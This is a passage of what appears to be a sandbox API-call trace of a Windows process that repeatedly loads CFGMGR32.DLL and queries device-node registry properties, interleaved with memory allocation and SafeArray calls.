lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x32b499b6, dwHighDateTime=0x1d9eb0c)) [0199.548] SetEvent (hEvent=0x248) returned 1 [0199.552] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.552] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.553] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.554] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.555] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.556] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.556] malloc (_Size=0x18) returned 0x20abc2819a0 [0199.556] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0199.557] malloc (_Size=0x5a) returned 0x20abc2807d0 [0199.557] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0199.715] free (_Block=0x20abc2807d0) [0199.715] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x32ce902d, dwHighDateTime=0x1d9eb0c)) [0199.716] SetEvent (hEvent=0x248) returned 1 [0199.718] malloc (_Size=0x18) returned 0x20abc281ea0 [0199.719] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0199.719] free (_Block=0x20abc281ea0) [0199.719] malloc (_Size=0x18) returned 0x20abc281d80 [0199.719] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0199.719] free (_Block=0x20abc281d80) [0199.719] malloc (_Size=0x18) returned 0x20abc281b40 [0199.719] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0199.719] free (_Block=0x20abc281b40) [0199.719] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0199.719] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0199.719] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0199.719] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0199.719] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0199.719] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0199.719] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0199.719] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0199.719] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0199.720] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0199.720] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba935f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0199.720] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93600, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0199.721] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0199.721] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0199.722] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.722] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.725] malloc (_Size=0x18) returned 0x20abc281d20 [0199.725] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0199.725] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x32ce902d, dwHighDateTime=0x1d9eb0c)) [0199.726] SetEvent (hEvent=0x248) returned 1 [0199.730] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.730] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.732] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.733] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.736] malloc (_Size=0x18) returned 0x20abc281b40 [0199.737] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.742] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32d326c0, dwHighDateTime=0x1d9eb0c)) [0199.742] SetEvent (hEvent=0x248) returned 1 [0199.746] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.746] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.751] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.751] malloc (_Size=0x18) returned 0x20abc281aa0 [0199.751] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.751] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32d4730a, dwHighDateTime=0x1d9eb0c)) [0199.752] SetEvent (hEvent=0x248) returned 1 [0199.755] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.755] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.756] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.758] malloc (_Size=0x18) returned 0x20abc281ea0 [0199.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.759] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32d4730a, dwHighDateTime=0x1d9eb0c)) [0199.759] SetEvent (hEvent=0x248) returned 1 [0199.762] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.762] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.763] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.765] malloc (_Size=0x18) returned 0x20abc282060 [0199.766] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0199.925] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32eeb076, dwHighDateTime=0x1d9eb0c)) [0199.926] SetEvent (hEvent=0x248) returned 1 [0199.930] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.930] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.931] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.932] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.933] malloc (_Size=0x18) returned 0x20abc281fe0 [0199.934] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0199.937] malloc (_Size=0x48) returned 0x20abc27cf80 [0199.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32eeb076, dwHighDateTime=0x1d9eb0c)) [0199.937] SetEvent (hEvent=0x248) returned 1 [0199.941] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.941] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 